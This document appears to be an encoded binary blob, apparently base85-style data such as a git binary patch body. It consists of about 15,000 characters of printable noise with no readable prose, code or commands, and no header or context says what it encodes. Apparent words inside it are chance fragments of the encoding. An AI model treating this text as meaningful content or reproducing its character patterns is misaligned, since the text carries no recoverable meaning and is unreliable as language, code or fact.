zu}>7ZMe2GJbix*C+)dD(-7GD+$vU}I??BS5o245!!S%sr$?Z>2#c!5c{0XWCo27n# z0^UDHn))YZ!oh6m=RaA?I*YPZ9c#)sB*k^0tZeD_pRAAjg>(1?K1+de{Av?_jFx)H ztaaZdfZ|>tb{#MWJmp#6(pWx=pZf&_myq@>w%Ks~gAVbPv18G$!l%@@TV|m%IAfT0 zdl`lbY(!ZRT|+p8Ba(4w11a?n<|W;iSuLUO#zp1KGjIgxw!;vRt1x5K;qC<04!gLz z0QxxFtm{-JMU}It`t54IeshB&(K6?C{sHB`?l}0fG_M>s_keV~oOvgVTdm%kIOe!F z(d%vMOXc1~H~bfAQ8Hbd;ywmzar$BGNwg3l>-)pmqp!w{5`H zhzoS(ql@D{#Udz0oVaGKT>|v>7&Hjxe#TX)=oYJ6mr7{?)=z<}$U|b(2I=lCRv&ey z+ZOebFkH9!fCp#aZ`07Vijh)M1@r504qD^|3HE!)cI$>6fgf>RrQFY0j0DKP#Y@hk zg%i|pqd9{fTN*8`uV5|eend2uatI%&Qm1Z~ZdI^B!ryO83Ab^mv@S|&{eU%)7T;zK z+N{fl{jqA7;H6x_fb>O3%UM{7kaT=Zl@vG>|M>wLgsDi=hw#DwWiB|i8?VY>AR3fqRgzkglySW-nwXGrAds$?~v?jUy%hdn{bc1(9-5 z<)=y+y+4*l-(wAG?1@yB>=q%-y~i51e4k|3Rb_W4YOB}-FL^dr33QhSrBvRh85JpA zy2renI!7?6wjPn~{pr}rbHC4O)(!=aI$1^cMA~s9=^Yi_fzT~g^mszUb&x7URP<0n>s9nvLes?ppi@jL zp0ttgKT!%FLHJrKzK4pY0_9Q_J($q;vC&0EClY##ivEPq_U;|1qEiXYRrEMQ*HeWP zd<@!Y5aH8Q{D*|6-|2vIeUSct?7ew>6vg&8TvO8tAtW#?fo#AKwqYMafUpk`VA#hH zBp^b701;Ut1k6QrB8vtB8WpIhs1Xq(B1T0gB6@?0#yz;)8`m3g8$`Wvxf&Pb`JS%R z$&g>}`#kUG{p0=TnS4%8ea|^{YVGRk?&>b6FDLa}tzJcHZX=RIJ&zd1m~+W6LG|Jz zJvh&f@l?@VB5dlbV59I-T3DwC)VQB)y?U;E1(Kpx^s2JMOXpb}Kt(C!qdN#IclLyR z@rv5@lWlnGQ7_`uyvDoi4@4jSqI&x$Tf8R$GA#f3EqGJzMZ5rWG0(V&i&_{+t*F=Q zfI19;$D-)(USR7PKT}@{`{V`H=V#ka`D3y={6~aT4Alo#hB^Is{Jo`cKvjv z^8I4FSw3}IeejFzMAS8Zr=)-IE*r4;@9Mr^ZT0fbR|9v}<1x6cx4P+f+eCT(0rmRt zSn%-i1L~XKangV70TuO!tx|fPRd4-aTNnMW)8@&1$UFGRY#%l4PuoXw-HWRC1>2wD z*PvWODwY3RTxpE`%l5G?T_s$^60VWG)X|H$Zak=7zi1oQ@!3ks!-w7xGOuINjb*qI zwIi(GUHdx8E*&2_^*>d=-ucvYIZxVN3p^m@N76P>`NQOBdErj=T$p^^Hdd_*$CK+t zYIX}bz~)xhw~*crUq|2!vFv63vfP_N)e18MR9gGMw=Lv7cDd}1Kv651Cfn@5i_G*5 zjaO~n5z&=Ts86HiX6KA2ut8!+^H>T76VXJYYBp|0?->pG#jyQlf&A98CzjalQunoy z_zGn?mfOly&xBo4*fwT(i*Bdo+n8+}!xw>rYi_22A?zT+-lD>K((H^*r1z(3{vDl! zP?0xcXY_@gYK%i(7Bi3x_Y56Q7W4)RdS3VPzyl6hZq;ew-s)m z-GRG4MQ@SB8C*n{5_<+b07G=L13T1f336VSDcS_zw|AOmGw>n!;8{9}?+LqkyBe1$ z|1Ep{O}RVEYvi-r)B~NdBys0f^+{*x?ikn#_uF2HoiVEZhST^^I=(FxGjUs>dl&ft zR(Wj-RCSdHZF1=iYIQg1k+IjRW8LJu_VaF_?)>)jJw~>-$iR-X16!!rB$*?RU#qqz z$$bf9@RE+#e21aajG`aMSKxjaEn_VDAUH}TcbC0!rM#fKblT;oJ=K<8@)kL(r;5Ud zq-5b<74DL2TE}5uzzsfp0R`oZ-m7kO$=%X_hicPDPU>3lCoLJe7>`^qn6@@;BiKlz5tE>?Z}%gwUL@& z#k8V~-`zoc#~2m8`;*$2RqO!SU)I*E$phpSwnKq~1LR;^%rmzkM{CWOlYjD_`YRk; z8XVrUe}s%t7Y54HQ3ug!kSTmYKlT^()*zWE5AIgq4w6^M=oM9HC8UYUUH?drx( zZu9)f5v7Mz`d~S$Q`EoA*Po~2k=LHEi!WZdh^cTbVg?4wwYEd5SF)TPIUM3?MSDr? zPnKt7-j6DMi1f*%AJw5Da(bKRPF=XT%NTy~g=s~*KZns@L*y*m%W7td>_1=#blN38 zy71!8EAO6AnD)ci=|$V&EnG|}m{B*zNS%A@d2Dy<`9U2{k&9$)oeCd{noC-uQin;W zOubnx7$$qD%|qpE`NzN2>qBL{y!dbRHQ_E<+9>5FGTPOp7B41Z{A@={I&4#nQ7^7< zgRS@07oNxB+AqFWa=6Tpe=Sm(!{NBY4z+o>d{Jw z{N}nCbM`y6ccd(oRo|#Cqhvoh@kTX$l>A$i_{MDRme~3A8&y3@&Xp?*RPWL91^Iwq zoga)!kfV5canmo49u2`8l{%ISDrt2ZfbEacweS*dnOTk8Duf3dN@Gq?kksSA${` zDI!VHgA{Ej6pv7wd13FiRCiCnG50}4VBbXfiImem3*=3fiMCE#aMz~jgQ-QQa1l4c zk=F@3EMlY_7Ik0q-k{yq>?D^5i*#%kROe&TcPc)rLyDbfMXM%d&t3)TCJWs=;H8u)Fo zyvio~UZJv=K=8{jRk%dnDX(6jx-XS)$ssSQpO(sGxpKbhy-bdhednv}W%8KZoT)lw z%Q*XLwp*y@V<~sh#i^$*hQsW+40UEDhWhI=RQnwHqI`Ous>wljR&&&^ zIkH@SnXVqbO0JW6=_-Ded`TX=Ox3QEaq_z7)E}#4|0sHFfR^ZbG3Ln=YRJ`cvV7!( zy6$S(TYlqHhpv{@GWQv^X|=pT#!geetd;@CI&4p+F9T`1^1%u9+!{Fus{_^dYh1V%CWJ%(hboge02DvHfg8ux?v|kuny^gr`O8XHd|ug^g6l6CQr;%8P~`WtzYTU zcz1H*Y<2fF(%0#;SvYC$j6SQ`=bC*nOQDkWZ*@gW7UxPHuM z6u@_e$5hT#tvASC(%D@N+aPn>F2bSZJymN=wNFAFM$hZ60vlvExg|;A9o4bz`#*(? z_lwo%TjR=zz8n~n@RaJ8C-0NVPpCKYy9(FyxN~>AMptXJdum|wwQ{&k4tX^2WWHQy z$mF;{kLzWcO^!YiSapMR*ktm9#-q+Su-u zu-6c#ykncS2QW0mZ2RNF#tyH9J=q|B6ylnt{&DJsZE~?3(oS{Xjw#fi2Lsc#%a5geIYzl|mILKC?NsK?a+18Yox1O4oB?iZ zr%v50XUb1IC`X~ZeAJC2kfDt;(4S9sqFRc+5(3oOS}X&EP<1q`&PT$X(Idcug;$za zP-8}@`wM0J&O;!xS$7R_CpdWXLK;}AFg=PMq0ST{lS`u2e+tpwy<%1DPB~aUaF3e4 zQ%;M23?m|KMf4IXfnMF16+6Ddh8hVzuO8bew|8!f8(ZjMcvXM`4g~%^7J(KBd^%S7 zc1e8eak#o_m+b8Ls*vvgygUb5)8fIV`ATy&?(*&{PMe!G>1f?shT z{@?;CE6z;kN`#tOZ;MxTd*qVg{rclT9W}H+SX!GvmfYBmz69_vP6o7F@y@VTP&`Xb zKNBAY*zp(wDAM=+RN*Z$v2#s7Gx7&u8@EurD;nZG*H4|gMRuQ33|(;Be55^M=ytMe z>D~6`#dBxiaz@e6&5*$H#@^-~N@Oosn~6{B(Mu$YDdIFlgxQ>as^6{hNqKKyReLLD zU*r3#F~xG3?65y@uvmU>3;()+@}-<^TWpefv-@Jqf;%AEQ3+2ugD@!a^*-(}XAV-Q zZ%22#Y`^-??U*!n-LHDzA*aZH>{GdS$b@09Vg*gnYu+I-#n>*wyv_LR(J9k(`9O8*4h)#9_NkBWkeA68;cC!cWH8>Y_U@Hm$rFa!vJV4a zX)E>pKFl~av{DKC(Y-va)U5sTM!DRs&g_>SM)a#!@q`CZ;+XD~0F)lGTsmI?ClB6a26($%^Jj5jPZUoRW_hg02gx11*5 z-lhI^H|lhSQ`?@|r6wJ~2>>hQHyywj^Lcl5frP{IDVu!b2KCNEm~n5pf%;*Pw)4ZD z*vs$@y)pB#{#wmGB0J$tyuH_(C*8|X0q4%)I&Esvn-^n#^_xTLWqAG0RO97dHw?VX zIw5u>eH9dse9n&ZVkxnAPY2u~k9xZx`%LOzX5{4S)uA#uK^|@&2$o4~xc1NM)WwJ8 zkhZJnHH4ySos)|(4_p_Rctp-LY>Dc&W4P$P`D^v|F&qMa%?NCNOnzsVe=JrTo|JQJ zU#VA~g#5=vYRhrC%660b`Zy~14v$KBN+w4pZNm%tPaogfeVdy1ly=1lPqf>E zdBdr%WShYDXPhwc?zzpeS>5)O>|kr54nHN&M<*=6I3JJieBlP=+ktzZmMvs-i_AvZ zv+9WoTo$}FTGdv_0kUG7YV(ZzOr9L2etbrbY)|Rpwcg_e-4VbCR8D;^)e^W*jH6d> z_C%+T`mY)2qqd)ruSGAK+n89pz!lHRI$QLTIgPRymHC|PBm1SQZO`FIs@N8I`Z@WO z955I+_0P4#H{sAhI#W1Yhg(wk_wQ*C+~-5LhWh(as-#lpx7mVKVjFs)PvJz6`-fe1 zJtb%QGx2;L51M}KMKSQX@lnyVgcOpmwZsKUnwGq;C2mMYYRQXQk_w4iOCHw}4p4` zNPw&l&_eSj$*AamzprM$ATO6K-VZ$Vf(+Q@tTTbEm*o`Ow6JQ^{CTHY_6Rum<84!N zR7)I?;08Cjyh}?mA?dAS6>3QqB%Q0(53k_hz54CI#47o{&3)aQ^!)M<@6K?XMK%F= zcTUD&7q&qM>AYF4gY?eRqi+V5ye6lF$uG_Xj=U|G+NJl!KavgIEIDbqy8k0g5qnNouYM#ym!*T$v5#ee?DdRte}XC3 zV|*eN_VMOz4tE+ig8}mxfXXV zzU-&&ti}9h))W=2#iiP<$JHyJ!C(C3K;l`<>Ds#cph)w2Qjzk;BBQBl%;%V+yq~6) zd@lRNmZh2F5PfW*HCa8mzIM?Gbie7Q64cbi*C79{qdN7a+#=gdP~*PBbmjZ;D)TEjGIoJSS1IO^qG;w9 zCulB!fpNS#@|9fB#Xa84-H4)@!5MpQE`Tnr=&cjdK{g%6tE8`GWz>ltc$2IHE$FG} zp}zlGo|D%7ORoRZ$W>6BBfn)1SNq6f<}TSgVI5Z zK&wETKwCk#fTHa7QKG%wF5*GmKrYZA&@j*#P#S1DC>=B(lm%J|S_|4}SCfC2wH<$X z8Aa011~>FGKbBS$_WR3f^dBhyH!rK~KQJq9aVl{0AMz7hS63gi>m>yr+5XqXR|H-! z5WxZj&8zffF177~oY7@R2|66zFGSzOZm@VC=Zcr?nC@Yi9W#DF;JXWQvR%HKtx!#) zI~Qe(#&1-cPh~P!wDIHf)7!?3`n$TtX7Ac@9Bw6J;T63pG{A0#2MzcmQoU%iC;58= zWBpdo$FzLt@F?63*^bv85F?}KPM{f>=XVcl13lJK$AaN4s;Tx<^lC#D?!xr!NinwK z1{^N`^!rmAOkd}tuckPAqTj;>IFfkn$MM!`H)Q4%6puvN{LnZ$KM6zd=<7^wy&^K7 z7N*tGLbPqBJTrQ_)k{x)fXM<+QTQ)dT@ z_vW7ky#u1~H;5DSaZ5@i^GhWC74XoL!0?H+cpr7f;=eN5UZ(`I4JGbYz>4|OIx ztfOmuduSALWWGK018!okDBjow?xOcc(2~}$w+drMn9k{g?}3~pc8nT?c;Gpa{A1_zk}p- zo0~pIhoGhQ)5+$Kg+1TZwnMK#cH3;fMQfwSn9`3rPa^)=hM#PwKYQ<0T3J?g`h$;p z-U?fI>p6wuY<-+Mj2}Jb^ttmf`zQjI=I;SV$N1%0q=tocFP++em30ujPf>rGe~K2m zeL%KYVt+q4t*`4`!GQs@5kTeCn$p`%v-tpLo~e52>}Sus0SD11u^TZ({u%tGv#)l2 zq_JOYZOi@Q^!d#9p?fB*vV}SpX7A{!G9xVvt0sOv6YD=0y#^;etIZ@F1A;oKAFw{| zRU~qTmdf{h07423I1!!U2ABy+G^PkF`+6;r5OZ;gF#(j8n(L?Y+j;hnXk_ zsRa*Ux`qXL7z{8#WxiO99`GvEdA$)RrvP<@efi!yHasn;pxfoO084ZVTn%;>)3bX$<`(DIyk!>$|Xw3^RYKk^>zg@T%r`3lO z)qs}vlo79EP`en@8Ig->aKc@M&;Da^#}#!lckyJm-} zyIR^4yM4t%C&r_<>DB|bh zQ#-@r1A&xQ_OUYV)LwMfykWn*=*b(5%jQuZUc7id`Q@-9dsR`i{ZF~%Znd+u{X4v# zduJUmJTjM@AgZ%RMhQ|7YU=9i?xl*wR#(!+yQ-LM%Rzc$>rCH&E%Ye}OMv zYz-W4Z|`iA`8TT59qhYpSF7|Gd#`ps550iLx~QW)yPT-Wa~VU`t{D3)8S%RMFvi}+ zpVma5(uloe|L3NL_$Zb*_wx|OMZ0{2w_AA6t}McNjo3{%+rmY=Oq`d};E!Rd8El-%I2nDE|Y)wh#9(SJEs(4c>qUw_jj zKe@5N(g{mEXpT7NL~O1Z;MjAHOR(#lxCE!3s~a3@?>$$03C=uM4eY@(qi@yePWHCA zfBer*_O7Q`bnsZO!>e%{|Hj+ryFU5a+$M!z`sUSm0O2!G*j$Sp48#JM!Y;&#j@ zoHAJLinR}HXEe%vB+pA$uf?Les#IJYy2Gbxc$~evfAdXNnqF>)vJH^vuvrrhq}PaJ z&xuR0>s;NSP<`sT+DowaT=gY5^IRpcSrblg(KqUYID541Y4vrSz3a67Pg!|s(C?b* zF>B=9!ILOuh}an{hNPIQt3jcSe^9=7dzZHHPhY@Ir%Aa*b91~!GqZxp${%mv-u2A; zl;N3p#OFm8Cb_*unGwO0B;1+l3jU#z66}5C&iB=)3HCVKTD3C4?g=0N!-b1MmwGh8 zJ_!BolLUKw-?MDO;j_Qi~6NgvrkL)UgD6qPi;49-H{kpCLJ%Lyhl3k&$$2 zuu$ETXm|I#foUPRp_|Ej}!L~rf!Jpox?Cq&Un^6vfpQ|4e?ZXla|C=*!@H3Ux z+3xm#i-&@Z&Q<{x2WObhX1YyJ<21m^T(2vb3{bSE7OCv?=A+tNv=vE1JqCZG=uK-k zc;Ov9HOY628zO=~B6!j3ZZzq$?ORmkH^CDe(~ZyCnf^@aON}v~QHfpbNv#IrR!cD| z!xOAgwyyTrQQjilQp9n2?&;{iLfRT8I+b(xHpt1Pxzq*`+*h7kq7HPi$Hh#!{L*;% z8cFb7^;#Eu_YQ5EsF13YQjL@0(JHa4y|edgtXym?KQ)rh%-fg9aYxh4;=Z||*5;xh zt=OV&L|GD+U7|-X%fwOzGv-uvysLdA)?EC%tGy#ujD$PwsTcspIqfkCHP>OKO+ygdy%{K1pRkf8q1%gQob^ygm(1-fbc7sJtW2AHW$O zwjoQlA0=D*S~tFTU{Gtun*QQKobLlLXA;E{p`6@B#|%32TLmA5PfI%8-Qr zgX?u9Jl3?09u5}#>yeOzcR+GZ?A89UMem;I4MlKU6m`mr2eLcE9^GIQgD=KBggd{q z_6}2zqgZo@LhgeCGnL5oZ(238C%O-!o^v3xcl;oK_WyY;-7aqYC2!I=jk%Bc3g&st zZ(_cm`61@z%uh0Zi}_jR^~`%|?iWd%fn??$<{8XaFwbXR$b3KZgUnAbf0=nX_A94f zDf1|n$8rYtnsVHh-OdK9nERLyW8Q;#JLcic|HQ`P^!tW+X}-o!Gk=5mr_6t0-uiFa zu0L_4FVa|$!91IJ9`gd`dzl|&{sQw)ng7Y$v6&NKKACwI^G(cmfm8b801L{Qzr_3> z%)em%C-bQ5bOI^NJcAa6SFDhA3&HOC$ADKsR6?b7ikojol zKISW!=QA&4et`K=<|mlHyv46e@*xYTHt6>ScNUF=SkG;@mANG!$ha5tc;+*h4`V)o zc_sIqYUUpf=78mJ;bWozGcRHB@_4(6s~fmF(%XJhkAf7NDKE{JCNH>A^OP`cpBrN@ zP~*4QJ9MZ^)S8_3T627;tw6PP8Uq~t3^S@@flkt+o^jc`_Q`K5-lNs^P36kg$3Dnk z(7%ZnHunwC^2+(_o#i8)x~Mh(MQ>F^&OjZ%nB&(LYCmq~&J8ARB`R;yirSmhi9Ys$ z6M`JEp;(;o(k0o>WlJ_-eVG2?37=W~EKXqVKJ91jKGnCcy_erPSnEZmmRIL!p2gKw zw~f3ihAdynnx_)g{Cgn|4sQRr4%P(8CE8GZ&nok9jro zT&|!>_LIfjm)v{{UA1n*;-yQ}tbX3(o?#ET2ifcF0|qC% zQ>h*Yb8W5{OGQ6~*XCufUJX7=ED>wOa^Vy`#RfHCsJ*)?Pqs%)njzMSm5{CwSBcf8 zer<#0MzH~sY-q0%Yw>@gSP#4e7!* zYganGOV(zuULL6i4YSAjb!;K#O>&M;pXAgK*0W}3Gy+5pa+6dy-zP-w^|}ibZ`Qp0 zTFu>l%^f$eev{_88%;h(_zJY3Cta@Mmp_C%H+TM~o!iZQubTT>F=G$&tQ~bx(?hWEzsMa!o3Rf(I?`Sw{iW0Ou$8SdE-D!> zXI#zr8pc7!m<;OQ3?084!&t_x8M_&`Wb9#_qp@FPvcSm(IgD2^&S$)maWUho8J9Dr zqk?`_jPX93`Kx8ThH*V(nhu-ugV>q61eigZKR08{na!V6hX$gI52;8 zjB$@c&rc#|>k@5d11IC_7`qwcMxFWdGTy>Ci!r?jM8AB-?KKo7jB(%D{FO1bbNZr+ z1s&L+hH(MoAmi&9*E7aS1@jl-(*=lP9LxAd#%{(}G4?Rd)#XPUvB1U#xs10mE@Zr$ zaVg^+j4K#NGp=HM6XROOH#4qd?C-*Yh|6>ddN6h}ZpGNcIEirIK{_*ik zx!{PFgN6h~=nQy{XnPOOU9*^%KCb2cIU`p5G@Y>UnSRkgDJQgH56(b6N2ueB9DPdb zBRC_Kke%YI(D#Rq7zC*&ko)P7im1{CDQxH-r5(qzW2?$7-v4!NZ*i+?EnIL$>nq>U zyzpJkn`v6VISaNNSP5it$qG*Ch)vse_p4f-!WpsRS8~EHy`}XPoPh$)K!-Q9T)e4y z<(qCD$mIw}xhBfE&8)Vq<{HU675II+{VQ8k{uo_Fr5_4?rL%vQy=~hQ;bw8_n7hvf zl4jXg*!*}&!BjMzlF-y;dH%BHxq9XzJX!jvwN9=+#@2Kqvxz>3u{C|jXKbBn3N`kd zlTS3XC}9I@Bra>>;5cLJR8iSPU)==PGPW`pWNc-i-o)tS)<7AtM3>OYalufHDRcDe z!1{)>Ib$mU7h~&8(4Vn&?s7N5DTL`Dvm&H6F&NzhdzxS`W2;Frn&=C7V72^bHqkEx zHV-l@hvk>+5?c|nID&<uD0c!#k%h)n-F}7yq9>&&;E{m}>hb?HLFKwc)yi|{? zc@}i%P86|BXDFVri?Nfjk8xMVxs0t@d`Xk|6^z@keHCNf1UUZQV1YI3u4xh>$k@tY zRJP8bH4w!zwwl1j*t(EPWo#8Fld)NYbo}SDpeN_Bl(99Vt7@XJW89DJoy#w+F%M%W z>vI?3dYujRnr8Tj&w~2suJ$?)?wZ_E>Iodm&*p$NZ0fzs96y>c)9)g@R*2| zx+=WP3yG`e?zHy~9Jtb+Hqw9mU;6%|_AA7nO>o`?tuJG4&9E$f=mxEi@N53_0ezR! zagXMf-_f;NAN)b{9zUAAr}$WC!&sZS=-Bl2|Ucvr7x7F}Cc!<)TzE zx8#lobe&jr<6~URyq3A=khUwZ*2epBZc`@@^=AOgsfO#!*vk{Q%dd7~2 zv|Z*yfz5Z?hlTqqAJzhkzr@($Rg5kE24jm?H__KN(bqN6iz7Ncj;{ul+CTHVAJIaq zdaaqEhvkKb^i0f>XEu@J{)##{4Mra^}aGS1>=x{3Yhq%xjnjng7gOJf_o$V(!q~FFLRwmU$v`C-WZ6UCjG4 zcQa36p32$yO_I~dzkx}XED!bUd+6dc?I)I=2gtAnb$C{1vjUDK^D|8uV*eE z=NvP4Fpp*KV(ww?V{Rpo#WN4ov31L72IFq5&tPnw&KEM~8#aEC%>rwJ zv6`{IPl=}#jIH^_7RJ^Mob8OQlV2fYCud+cW9#f&%vhgo(Thr0VBIDxWo(^2%NSc{ z&vM4r>AQllbpxl8v2~lWim`RWr<$=jpO}PP*08{uA$`o)n!waDwk9}VFt(;_b;s3R zN9^CnI96KMRsuUL;phO)SD!7lw-1y*V)t~3FMU_Hbvg4&=GE`2$k*(%{LZslZ=L5| zjP+a(H(VK8$)qy2n#Rl6n%emoTeIg(#@6IGi!o3A{33@1);+e zze2`VXDeoG^{o=dR^KXRteX;jp^ODqXDVlG_3jGB)^xv;vDJ5~7+Y;$&DiQ2HH@vk zRLj^r+Gs=zvcNjr>KI#{v7WJYxQfqplUYYY1Y_&)bTD?pH~nH6TZgBUF?B{tU$|Ic zbw)R1t23rDwmPGSvDF#9jC+$a{Ctf2XecrnTa)E1#+Z$p>5Ci|^ydh#gkk1iXFfL>q!MKEROU6DvtF>ZW z#`-A66^x@9S21qQxW>e&|28ZLvVntfJ>#~Ft&y}HV{0UB&p6^s-6S0t$1;v#>|)%J zaVlYI|5z4y*&vQ_CgXU|{KOv70fz zTVVb?ein>lfse6=aTeq8jB^=JWL&^Fjd2O%NsP-FPi9=fcnV{G6$|je2lH3McpBp% zi*YRD*^FI`eT-8Xr)%sNUKU)=2APcKG0tJUfN?(K<%|m%U(L9L z@oL6pjBjLI!PsWbNO1gBvB2OdiZxSe!MKL?Eg1(HM>4Kw9K|@|oURdCh)Ta$#_buq z71E@M2AaRuY6fhm1a%>o|h+p*vUAGv72!`V-Mp|QGEW*WWm*Jki*!CS`WNhO}Up-@kam0CD11%WGGH%J(#W<32D&r`| zUdHi$7G$zu6ysdRHl9TmFmB1Xm~kZIQpQn?%NfTru4FulaSda?jc1ub7PMqs&p48C z#J9S{@r+{`k7Dd*Y;#hN!W&METRKfBe2gO*XKCygqgaq@Iq0Dy6j%-z7h4V(mogs3 zxZH~G((x;;_>8Nq_>5~!jP|$n*AeQh2#m#dy2O!;9gJ;mZSQ2ms)zp<(A%~^_7;MakYihw7wR27TtG=^lCw! zWiUfy@jcgoPh$sTV~fU4#_^2Z-v@Tp*n36!t;ym9_G8V@t(qNW$eulA|@k@+7 zj6XIp8r8=F>jEK*@f#c=m+{{j7cj1}^gQ3UE}@E9e>dyP7+=lU&GzOs9(AfpHdw|6 zF0Nu~Z~9fUp8JBRWqiF>i#o;u#%_*p-6x3nOV`*W)_YlR08{!RmJO^+9v9=AIf9QP zST_<L5`ov_%_BljHg-`mH8}qk_`$OKf>6$!m+ODN?2dS`Yg^s z3&v%vw=U6gSRcXq3f4csCpA&Uf;ZWqhVfCxLB_8#u4jBZ1|Has)v0vQ5f>buBW$b1AEaObZZ!ykc{2AkX z#vd^*Wc(@P62>1eE;BLe|78|<__(xgtyFLX>oPl^_13MCD%P*&_?fJ?Zne~~K8N-B z+(eO#gQTbSpTU9>b}*1}JsBXpfpGylXvH|fruBOn$1;A9v5WCB#;J^FGWG(S7nM)5 zAd?MFGLGfT>amP-SYOE4x;0|m%gJZG)u{_P!%=Ks$a?F}Na^Q%QEA;QDq({>ju2!A zJQEUStbdI46^yMrBgJeV&H5_V&t{y%HSA(sWAp1OT*U$>8+2tHWCu$amv92D8P~I( z&$^F388wn| zChNB{_Lp-8+Ooj9+cb`G4oBF@IG^zx#uc1_WX6T8{~Kc;>w7XTVf{*taZ$+zJ=ma( z4OTF&V0;VX0=DnRxQg{_7}qe~#@M>OHimJK^*5QAx+?ebQEX7p2HP2zae{8f5q90C z_b`rSd@W-a0!8P8FFs1KhgZ*rf$vA^?4r9f*k{z^XoX`3_jB7Z<4Yyob ze*^2QIDQ9UN?(+)fprJ6nhjz&LK*AlF|J@-!nlg@ZpJl??_(TfTxRLne@E;5U(W`a zY*5Pvoft+? ztj}hg&-i)9g^XWhT*A1VaT((Zv;HBhV8QEbP{sHa#`T=Rc*ZrXU&z?a^ZU;k2U-6D zV-con@Hxh@jQxi#2Q0YLiohjKVC-f6U5qmsU&*+V?T0YVVf|*tE^aap<9x06i(M=T zvV&B{h3ue!aUJVNFfL*Jjf^8$pUAk3^@|u+FkZ{pVcMhqJF}pQ4Hh%5W`{!=*RXyI zV;Ae4jDxIS$~czwT^QH1K8tY`>8brwSP&7e+vr}#PR7?U&SHnX8K<)TD#l*M>lkM; zwlmIQe3o%Ouz68g%z{ETxSw$e<0lxGF+Re$g7IX=RpEiNKiY4J^p`~Gl1#$uSv2gG zH^DVcu!wH79}oLj#+$q1{@ZIU@AdL2&NKNhF~)TA$S_}^&xlx zu%k_5jZpzTAvl9NRep$I3UF}dEdIUxdaP#l8EK}85A2Q`eTN~s3w8BY}%W)sG?wVGfyvVf=EO>kx-_QM6LoCQ8O zpeinBJPGd11Vb?C>q9VQFt(jl#dE}LU{4690_B9@G~m((?4Kj(kf>}B%t58#!C?rd zCULZHOn^FNY6zYQoEd_tK=~nQ;k8P5@yn*}OiOl>>|dTRuvCZhr!V!huwEXo@k>T!T_8TzYW{am;sT@~XgXfVof z4P!ctsRn`#c!61?^-b&}V$1^iksIy6r3HvQLr@!~GWLq;W{!Og`UPgM&S`>k8Cw}B zY=TP}`;c8~k_r>!_@gSLYxgQPSb*|Tp9nIZjxI$d6diSwSb8U8OP|U(1D%*Up;hHp z0kc?d;R3?ZFtn=lP=~;e()c~GW9sNPvnfGRCfad0;K5e8TS=#}(q3xlMU$$)X%ri) z$6ClUZ*8l^GZV?FbOXJ1GdPy}Ib{b*Y^ z3VT5Cq5i(e9@nZ82BnCE_s>m--3?=0MTnDXgqu1gClt>{0sKN8!L*NB= za$K;?Zgffowtkriv-8`!#UzlqWL>B~xX}I_j~b#3aq#AQLq;n@{M8`bTt+Ega~Xv% zq^oN%)_N+647ftVl%IlQjd>2um>8fl)-nqT%p}dZ1w>!~$DC55kxDjEkcv=u+nIl02#(l8l5_vG!DmgdBKejJN$QPh(uxBV;7+LAbd_pm@!>b*NL_jf9p# zq*{!qIqI73MkiI=$B0;57UH%dBus@Qd+QfkUh)z8b3E33T}QYLRqQlkRBsO3$6X*C6P3HuPY*~e75e~KY3K-NP zGQON(9WdH^eTa7#)(tf0ogz2q9S(JGFGtVFM`WM+p*I~pi|t0&Vrvls@?ME>lOAto zo8mR+7{0XQTBPh4g04!AJDE+T%-VKAX#IQ$Us~I76tB73cBtEs!B(DfjF*UoSNR)i z!*p8_;UhYf&6G)>_~l{)Pj~YpuONZnF?>?!cmW%^g^7b;^a@M&Ljx zM^t$byA5qcop~3x~vItDzL!h(k4ovc+J%%d}+reFz_KB-rcoob7hXTPz4z+K)5Uf zTit=;HCLPDEA&?hJNh*p7OE*dKBojj;?#$PDV`Od!lB0;;_Ctgk$@K~Y4ECTLrrH{ zD{By`0AVf!wHui?SJPf~V?QG?@^PGL5dm*5o3(*C!_Z)ev-*%Q<;V?t>vu`+$XomN z4(Q0B0A^mS?!oK7g^YXudMa)NKQ3tbsZe>!a`@wbiZk$m_EfO;Mf@ZsM8- z$T*5@RaIy!rmEWp8tql}B6~!u0@zd|KHmCm=w`tX-w{}h71GVfyt!^x9pbVQHkpWq zSE;Sec4e-$ri-#05~ivnd+QgPP4W@?3r(Bkq^15~rk&8r@g!OXQSiQULuYi1Zgi1~ za2fQMbjAdV)m&$UCw&}d!JrUP@m{uB8gz&;r6F!B5N=u`${odPZXhXCH@eZVWl%?q zL3bdxdc4pL>x9ty`4DcdVJWg@6i)s-T?=(7qT)qus{w{qgt)B=2~$#JZ~a2u zm1=jH7{p_7se(7Tts3yVtu=Xw=S8@=6BEU2t_H}L^@~LSALlRF4jJ7xECr|01>brS zc&A_ZZw2pa7qw2is7|sAM|beHqJ`M84cAXyRo|gT(zNObe0e=@d467xHEYRnX}n!z zfm^a3ZnqE#c0ogSgDiP4;@d?r9_49SzVP%5>>p~3wT;aB1;X{&OY)Y$3$A`vx3_SQ z^^gc$o|)IO+NQ^*b*uB%WJ6v)R<#~(bo5ta0V16k2CmOr)?@1U@f4@#64?T}IUs67 zWf|Hoc!^Bg)j<}-)0TnxI!`rg(2db+HSUp5zRIt`XxO9WY)#0M9FN|`@3r4A4DmT^W+@?*qXtTamZOhzUs8=O11q6RK!X&r{!)x#>Wc``C{q(g7)eutAHWgTgB}EP zwM3vJ2ut@e&~1|Ge`RDhiEs74W2DM2Q7dtg29_L!i^$~g+ylR2IuG-#F%#7zBaCk2 zNRSPIYYqP018Ubgx0_w`%~Uu84J$=(U^)G(q<_`)ua^GR;oqY&>l@W-q|xVUe9laS zZASwlK9%wk9419rcDN{q{&a{;E{{Ek+rA#(I#Oxgj~a1aq#%4k2PdR>>N%T06?< z<;Qo@#8;pQtiPp_hvK*xDZk5#J6spH)qrcp+PoVoowrW(&R#2er>wz76)Qw+ zUB}uE)$J-BK3xSE7De3PaM9IPBw}+rWp(t$m{sO6ASc&PNH=wed@Ny3-GP6Fpc0S~ z;XnywF@myf0S&FU8#5%vJ!C0TQg`>Msq_XU;v+v?yAi=qqCD7bnv3Pb;iGepzugD+E|XHW{fj>j3=v1C{vf? z-*(VGQ0q&Qi7Y^BSvki-5(|&m4Kpf0SM~TfqjwCssf5V&D*jcI4zbjCP;f~K;o%YeVTKfHo$4}=(L0G!$b!hMk2MI~KzbB=qqak_ z@A9B?lU?Z+3`ltE_5Wlfw;FLQP=wjoCO(XLzRvc>aX!e7wYg` zCK$b9$<{rcZAT#B0ntIXaDvglJ!$howbxI_)~H4tMSpsNk<^zAUV_0Bl+>FDd<}{) zld2p^19z?2e3eUuk`s-QroC&1A?_mk!3azPY5OeGzTC9Wg8hn##xTFg6`~I)3ubh* zhvK%eEk$ffKM`x|A)@LcYxO{j&$ptDDqxR|MKHR|G(>!B&;MZ^-XpVMnUafUyD@BJ 